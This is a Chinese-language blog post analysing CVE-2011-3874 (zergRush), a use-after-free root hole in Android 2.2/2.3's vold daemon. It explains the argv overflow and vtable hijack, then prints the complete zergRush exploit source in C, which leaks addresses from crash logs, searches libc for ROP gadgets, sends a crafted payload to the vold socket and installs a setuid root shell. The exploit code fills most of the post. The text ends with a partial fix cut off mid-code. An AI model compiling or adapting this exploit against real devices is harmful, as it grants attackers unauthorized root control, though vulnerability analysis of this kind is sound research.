淺析CVE-2011-3874(zergRush)

//weibo: @少仲


0x0 漏洞信息

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3874


0x1 漏洞描述

漏洞的本質是"use after free".具有root權限的vold進程使用了libsysutils.so,其中某個函數存在棧溢出的問題,因此可以控制root身份的vold執行system(),藉以提權.

0x2 代碼分析

漏洞存在於/system/core/libsysutils/src/FrameworkListener.cpp的FrameworkListener::dispatchCommand方法

#define CMD_ARGS_MAX 16
void FrameworkListener::dispatchCommand(SocketClient *cli, char *data) 
{
    FrameworkCommandCollection::iterator i;
    int argc = 0;
    //在棧上分配了一個固定大小的數組argv
    char *argv[FrameworkListener::CMD_ARGS_MAX];
    char tmp[255];
    char *p = data;
    char *q = tmp;
    bool esc = false;
    bool quote = false;
    int k;

    //省略無關代碼
    .....

    if (!quote && *q == ' ') 
    {
            *q = '\0';
            //填充數組的時候沒有檢測是否越界
            argv[argc++] = strdup(tmp);
            memset(tmp, 0, sizeof(tmp));
            q = tmp;
            continue;
        }
}

onDataAvailable方法監聽socket輸入,接收數據包後以'\0'爲分隔符,將buffer內容分段傳給dispatchCommand函數做進一步處理.dispatchCommand將接受的字符串以空格分割,調用strdup函數在堆中生成複製,把堆中地址保存到argv數組.但在argv數組越界,與tmp發生重疊的情況下,假設有一條命令帶有17個參數,
"cmd x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 x13 x14 x15 x16 \x78\x56\x34\x12"

argv[0] == "cmd";
argv[1] == "x1";
argv[2] == "x2";
argv[3] == "x3";
argv[4] == "x4";
argv[5] == "x5";
argv[6] == "x6";
argv[7] == "x7";
argv[8] == "x8";
argv[9] == "x9";
argv[10] == "x10";
argv[11] == "x11";
argv[12] == "x12";
argv[13] == "x13";
argv[14] == "x14";
argv[15] == "x15";
argv[16] == 0x12345678;
argv[17] == "\x78\x56\x34\x12";

argv數組大小隻有16項,argv[16]實際上是tmp數組的前4個字節,而最後一個參數是"\x78\x56\x34\x12",它被解析出來後緩存到tmp裏,這樣tmp的前4字節就成了0x78,0x56, 0x34,0x12 ,因此argv[16]==0x12345678.之後,argv[16]被free,即執行了free(0x12345678).我們可以任意控制參數內容,即可實現:free(任意地址).


0x3 如何利用

可以通過free來攻擊虛函數.zergRush攻擊的思路是先free對象C,這片堆空間恢復成空閒狀態,再重新佔用對象地址,進而覆蓋vtable實現控制.

for (i = mCommands->begin(); i != mCommands->end(); ++i) 
{
    FrameworkCommand *c = *i;
  
    if (!strcmp(argv[0], c->getCommand())) 
    {
    	//runCommand函數是虛函數,先想辦法得到c的地址填入argv[17],在free時free掉c
        if (c->runCommand(cli, argc, argv)) 
        {
            SLOGW("Handler ‘%s‘ error (%s)", c->getCommand(), strerror(errno));
        }
            goto out;
    }
}
之後調用c->runCommand前將c的堆空間內容控制住,若這時向dispatchCommand傳入新的命令,則在第一次strdup時有可能申請的堆空間就是剛剛c的空間,若構造好參數則控制了堆中內容,也就控制了虛表.這時程序執行到c->runCommand時就劫持了控制流.


0x4 Poc

/* android 2.2/2.3 libsysutils root exploit use-after-free
 *
 * Exploited by rewriting a FrameworkCommand object making the runCommand
 * point to our first ROP gadget.
 *
 * Copyright (c) 2011, The Revolutionary development team.
 *
 * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK,
 * THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED.  SO BE
 * WARNED!  I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
 *
 * It only works if called from adb shell since we need group log.
 *
 * Compile:
 * agcc zergRush.c -o zergRush -ldiskconfig -lcutils
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>

#include <dirent.h>

#include <dlfcn.h>

#include <sys/system_properties.h>
#include <cutils/sockets.h>
#include <private/android_filesystem_config.h>

static pid_t logcat_pid = 0;
static char *sh = "/data/local/tmp/sh";
static char *bsh = "/data/local/tmp/boomsh";
static char *crashlog = "/data/local/tmp/crashlog";
static char *vold = "/system/bin/vold";

uint32_t heap_addr;
uint32_t libc_base;
uint32_t heap_base_addr;
uint32_t heap_offset;
uint32_t r9 = 0, r10 = 0, fp = 0;
uint32_t stack_addr = 0x41414141;
uint32_t system_ptr = 0;
uint32_t stack_pivot = 0x41414141;
uint32_t pop_r0 = 0x41414141;
uint32_t jumpsz = 0;
uint32_t gadget_jumpsz = 108;
uint32_t buffsz = 0;
uint32_t allbuffsz[] = {16,24,0};

uint8_t adjust = 0;

uint8_t samsung = 0;

extern char **environ;


static void die(const char *msg)
{
	perror(msg);
	exit(errno);
}


static int copy(const char *from, const char *to)
{
	int fd1, fd2;
	char buf[0x1000];
	int r = 0;

	if ((fd1 = open(from, O_RDONLY)) < 0)
		return -1;
	if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
		close(fd1);
		return -1;
	}
	
	for (;;) {
		r = read(fd1, buf, sizeof(buf));
		if (r <= 0)
			break;
		if (write(fd2, buf, r) != r)
			break;
	}
	
	close(fd1);
	close(fd2);
	sync(); sync();
	return r;
}


static int remount_data(const char *mntpoint)
{
	FILE *f = NULL;
	int found = 0;
	char buf[1024], *dev = NULL, *fstype = NULL;

	if ((f = fopen("/proc/mounts", "r")) == NULL)
		return -1;
	
	memset(buf, 0, sizeof(buf));
	for (;!feof(f);) {
		if (fgets(buf, sizeof(buf), f) == NULL)
			break;
		if (strstr(buf, mntpoint)) {
			found = 1;
			break;
		}
	}
	fclose(f);
	if (!found)
		return -1;
	if ((dev = strtok(buf, " \t")) == NULL)
		return -1;
	if (strtok(NULL, " \t") == NULL)
		return -1;
	if ((fstype = strtok(NULL, " \t")) == NULL)
		return -1;
	return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}


static void *find_symbol(char *sym)
{
	void *r = NULL;
	void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);
	
	if (!dlh)
		die("[-] dlopen");
	if ((r = (void *)dlsym(dlh, sym)) == NULL)
		die("[-] dlsym");
	dlclose(dlh);
	return r;
}


static int bad_byte(uint8_t byte)
{
	switch(byte) {
		case 0x20:
		case 0x22:
		case 0x5c:
		case 0x00:
			return 1;
			break;
		default:
			break;
	}
	return 0;
}


static void heap_oracle() {
	char ok = 1;
	if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))
		heap_addr = r9 + 0x70;
	else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))
		heap_addr = r10 + 0x70;
	else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))
		heap_addr = fp + 0x70;
	else
		ok = 0;

	while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;
	if(ok)
		printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);
	else {
		printf("[-] No path found, let's hope ...\n");
		heap_addr = heap_base_addr + heap_offset;
	}
}


static int check_addr(uint32_t addr)
{
	/*
	 * Check if address contains one of the forbidden bytes
	 */
	int i = 0;

	for(i=0; i<32; i+=8)
		if(bad_byte((addr>>i) & 0xff))
			return -1;

	return 0;
}


static int do_fault()
{
	char buf[255];
	int sock = -1, n = 0, i;
	char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
	uint32_t bsh_addr;
	char padding[128];
	int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);

	if(samsung) {
		printf("[*] Sleeping a bit (~40s)...\n");
		sleep(40);
		printf("[*] Waking !\n");
	}

	memset(padding, 0, 128);
	strcpy(padding, "LORDZZZZzzzz");
	if(padding_sz > 0) {
		memset(padding+12, 'Z', padding_sz);
		printf("[*] Popping %d more zerglings\n", padding_sz);
	}
	else if(padding_sz < 0) {
		memset(padding, 0, 128);
		memset(padding, 'Z', 12+padding_sz);
	}

	if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
		die("[-] Error creating Nydus");

	sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
	sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
	sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
	sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
	sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);

	if(adjust)
		strcpy(buf, "ZERGZERG");
	else
		strcpy(buf, "ZERG");
	strcat(buf, " ZZ ");
	strcat(buf, s_stack_pivot_addr);
	for(i=3; i < buffsz+1; i++)
		strcat(buf, " ZZZZ");
	strcat(buf, " ");
	strcat(buf, s_heap_addr);
		
	n = strlen(buf);
	bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
	
	if(check_addr(bsh_addr) == -1) {
		printf("[-] Colossus, we're doomed!\n");
		exit(-1);
	}

	sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);

	n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);
	
	printf("[*] Sending %d zerglings ...\n", n);

	if ((n = write(sock, buf, n+1)) < 0)
		die("[-] Nydus seems broken");
	
	sleep(3);
	close(sock);

	return n;
}


static int find_rop_gadgets()
{
	/*
	 * add sp, #108 -> b01b
	 * pop	{r4, r5, r6, r7, pc} -> bdf0
	 *
	 * pop	{r0, pc} -> bd01
	 */
	int fd;
	char r[2], d[2];
	int n = 2;
	int bad = 0;

	if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)
		die("[-] open");
	
	lseek(fd, 0x10000, SEEK_SET);

	while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {
		n = read(fd, r, 2);
		switch(r[0]) {
		case '\x1b':
			if(stack_pivot == 0x41414141) {
				if(r[1] == '\xb0') {
					n = read(fd, d, 2);
					if(d[0] == '\xf0' && d[1] == '\xbd') {
						stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;
						if(check_addr(stack_pivot) == -1)
							stack_pivot = 0x41414141;
					}
				}
			}
			break;
		case '\x01':
			if(pop_r0 == 0x41414141) {
				if(r[1] == '\xbd') {
					pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;
					if(check_addr(pop_r0) == -1)
						pop_r0 = 0x41414141;
				}
			}
			break;
		default:
			break;
		}
	}
	
	if (stack_pivot == 0x41414141) {
		printf("[-] You need more minerals !\n");
		bad = -1;
	}

	if (pop_r0 == 0x41414141) {
		printf("[-] You need more vespene gas !\n");
		bad = -1;
	}

	if(bad == -1)
		exit(-1);

	return 0;
}


static uint32_t checkcrash()
{
	uint32_t fault_addr = 0;
	char buf[1024], *ptr = NULL;
	FILE *f = NULL;
	long pos = 0;
	int ret=0;

	system("/system/bin/logcat -c");
	unlink(crashlog);

	if ((logcat_pid = fork()) == 0) {
		char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
		execve(*a, a, environ);
		exit(1);
	}
	sleep(3);

	if (do_fault() < 0)
		die("[-] Zerglings did not cause crash");
	/* Give logcat time to write to file
	 */
	sleep(3);
	if ((f = fopen(crashlog, "r")) == NULL)
		die("[-] Zerglings did not leave stuff at all");
	fseek(f, pos, SEEK_SET);
	do {
		memset(buf, 0, sizeof(buf));
		if (!fgets(buf, sizeof(buf), f))
			break;
		if ((ptr = strstr(buf, "  sp ")) != NULL)
			ret = 1;
		if ((ptr = strstr(buf, "  r9 ")) != NULL) {
			ptr += 5;
			r9 = (uint32_t)strtoul(ptr, NULL, 16);
		}
		if ((ptr = strstr(buf, "  10 ")) != NULL) {
			ptr += 5;
			r10 = (uint32_t)strtoul(ptr, NULL, 16);
		}
		if ((ptr = strstr(buf, "  fp ")) != NULL) {
			ptr += 5;
			fp = (uint32_t)strtoul(ptr, NULL, 16);
		}
	} while (!feof(f));
	pos = ftell(f);
	fclose(f);

	return ret;
}


static uint32_t check_libc_base()
{
	char buf[1024], *ptr = NULL;
	FILE *f = NULL;
	long pos = 0;
	int ret=0;
	uint32_t spotted_base = 0;

	if ((f = fopen(crashlog, "r")) == NULL)
		die("[-] Zerglings did not leave stuff at all");
	fseek(f, pos, SEEK_SET);
	do {
		memset(buf, 0, sizeof(buf));
		if (!fgets(buf, sizeof(buf), f))
			break;
		if ((ptr = strstr(buf, "  /system/lib/libc.so")) != NULL) {
			ptr -= 8;
			spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;
			if(spotted_base && spotted_base != libc_base) {
				libc_base = spotted_base;
				ret = 1;
			}
		}
	} while (!feof(f) && !spotted_base);
	pos = ftell(f);
	fclose(f);

	return ret;
}


static uint32_t find_stack_addr()
{
	uint32_t fault_addr = 0;
	char buf[1024], *ptr = NULL;
	FILE *f = NULL;
	long pos = 0;
	uint32_t sp=0, over=0;

	system("/system/bin/logcat -c");
	unlink(crashlog);

	if ((logcat_pid = fork()) == 0) {
		char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
		execve(*a, a, environ);
		exit(1);
	}
	sleep(3);

	if (do_fault() < 0)
		die("[-] Zerglings did not cause crash");
	/* Give logcat time to write to file
	 */
	sleep(3);
	if ((f = fopen(crashlog, "r")) == NULL)
		die("[-] Zerglings did not leave stuff at all");
	fseek(f, pos, SEEK_SET);
	do {
		memset(buf, 0, sizeof(buf));
		if (!fgets(buf, sizeof(buf), f))
			break;
		if ((ptr = strstr(buf, "  4752455a")) != NULL && stack_addr == 0x41414141) {
			ptr -= 8;
			stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
		}
		if ((ptr = strstr(buf, "  5245564f")) != NULL && !over) {
			ptr -= 8;
			over = (uint32_t)strtoul(ptr, NULL, 16);
		}
		if ((ptr = strstr(buf, "  sp ")) != NULL && !sp) {
			ptr += 5;
			sp = (uint32_t)strtoul(ptr, NULL, 16);
		}
		if ((ptr = strstr(buf, "  r9 ")) != NULL) {
			ptr += 5;
			r9 = (uint32_t)strtoul(ptr, NULL, 16);
		}
		if ((ptr = strstr(buf, "  10 ")) != NULL) {
			ptr += 5;
			r10 = (uint32_t)strtoul(ptr, NULL, 16);
		}
		if ((ptr = strstr(buf, "  fp ")) != NULL) {
			ptr += 5;
			fp = (uint32_t)strtoul(ptr, NULL, 16);
		}

	} while (!feof(f));
	pos = ftell(f);
	fclose(f);

	if(over && sp)
		jumpsz = over - sp;
	
	return stack_addr;
}


static void do_root()
{
	remount_data("/data");
	chown(sh, 0, 0);
	chmod(sh, 04711);
	property_set("ro.kernel.qemu","1");
	exit(0);
}


int main(int argc, char **argv, char **env)
{
	uint32_t i = 0, ok = 0;
	char *ash[] = {sh, 0};
	struct stat st;
	char version_release[1024];
	int tries=0;

	if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
		do_root();

	printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
	printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
	printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");

	if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
		die("[-] Cannot copy boomsh.");

	chmod(bsh, 0711);

	stat(vold, &st);
	heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;

	__system_property_get("ro.build.version.release", version_release);

	if (strstr(version_release, "2.2")) {
		heap_offset = 0x108;
		printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
	} else if (strstr(version_release, "2.3")) {
		heap_offset = 0x118;
		printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
	} else {
		printf("[-] Not a 2.2/2.3 Android ...\n");
		exit(-1);
	}

	heap_addr = 0xffffff;

	__system_property_get("ro.build.fingerprint", version_release);
	if(!strncmp(version_release, "samsung", 7)) {
		printf("[+] Found a Samsung, running Samsung mode\n");
		samsung = 1;
	}


	system_ptr = (uint32_t) find_symbol("system");
	libc_base = system_ptr & 0xfff00000;

	if (check_addr(system_ptr) == -1) {
		printf("[-] High templars, we're doomed!\n");
		exit(-1);
	}

	tries = 0;
	printf("[*] Scooting ...\n");
	while(buffsz=allbuffsz[tries]) {
		if(checkcrash()) {
			printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
			break;
		}
		tries++;
	}

	if(!buffsz) {
		printf("[-] Hellions with BLUE flames !\n");
		exit(-1);
	}

	for (tries = 0; tries < 2; tries++) {
		heap_oracle();
		find_stack_addr();

		if (stack_addr != 0x41414141 && jumpsz) {
			printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
			break;
		}
	}
	
	if (stack_addr == 0x41414141 || !jumpsz) {
		printf("[-] Zerglings did not leave interesting stuff\n");
		exit(-1);
	}
	
	if (check_addr(stack_addr) == -1) {
		if(bad_byte(stack_addr & 0xff)) {
			stack_addr += 4;
			adjust = 4;
			if (check_addr(stack_addr) == -1) {
				printf("[-] Siege tanks, we're doomed!\n");
				exit(-1);
			}
		}
		else {
			printf("[-] Siege tanks, we're doomed!\n");
			exit(-1);
		}
	}

	if (jumpsz > 108 + 12) {
		printf("[-] This terran has walled!\n");
		exit(-1);
	}

	if(check_libc_base()) {
		system_ptr = libc_base + (system_ptr & 0x000fffff);
		printf("[*] Creating more creep 0x%08x ...\n", system_ptr);

		if (check_addr(system_ptr) == -1) {
			printf("[-] High templars, we're doomed!\n");
			exit(-1);
		}
	}

	kill(logcat_pid, SIGKILL);
	unlink(crashlog);

	printf("[*] Researching Metabolic Boost ...\n");
	find_rop_gadgets();
	printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);

	do_fault();
	stat(sh, &st);
	if ((st.st_mode & 04000) == 04000) {
		char qemuprop[1];

		printf("\n[+] Rush did it ! It's a GG, man !\n");
		property_get("ro.kernel.qemu",qemuprop,"0");

		if (qemuprop[0]=='1') {
			printf("[+] Killing ADB and restarting as root... enjoy!\n");
			fflush(stdout);
			sleep(1);
			kill(-1, SIGTERM);
		} else {
			printf("[-] Failed to set property to restart adb. Not killing.\n");
		}
	} else {
		printf("\n[-] Bad luck, our rush did not succeed :(\n");
		fflush(stdout);
		sleep(1);
		kill(-1, SIGTERM);
	}

	return 0;
}


0x5 漏洞修復

//qlimit指向了tmp的結尾,寫入數據前校驗q是否大於qlimit
char *qlimit = tmp + sizeof(tmp) - 1;
bool esc = false;
bool quote = false;
int k;
bool haveCmdNum = !mWithSeq;

memset(argv, 0, sizeof(argv));
memset(tmp, 0, sizeof(tmp));
while(*p) {
      if (*p == '\\') {
          if (esc) {
              if (q >= qlimit)


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章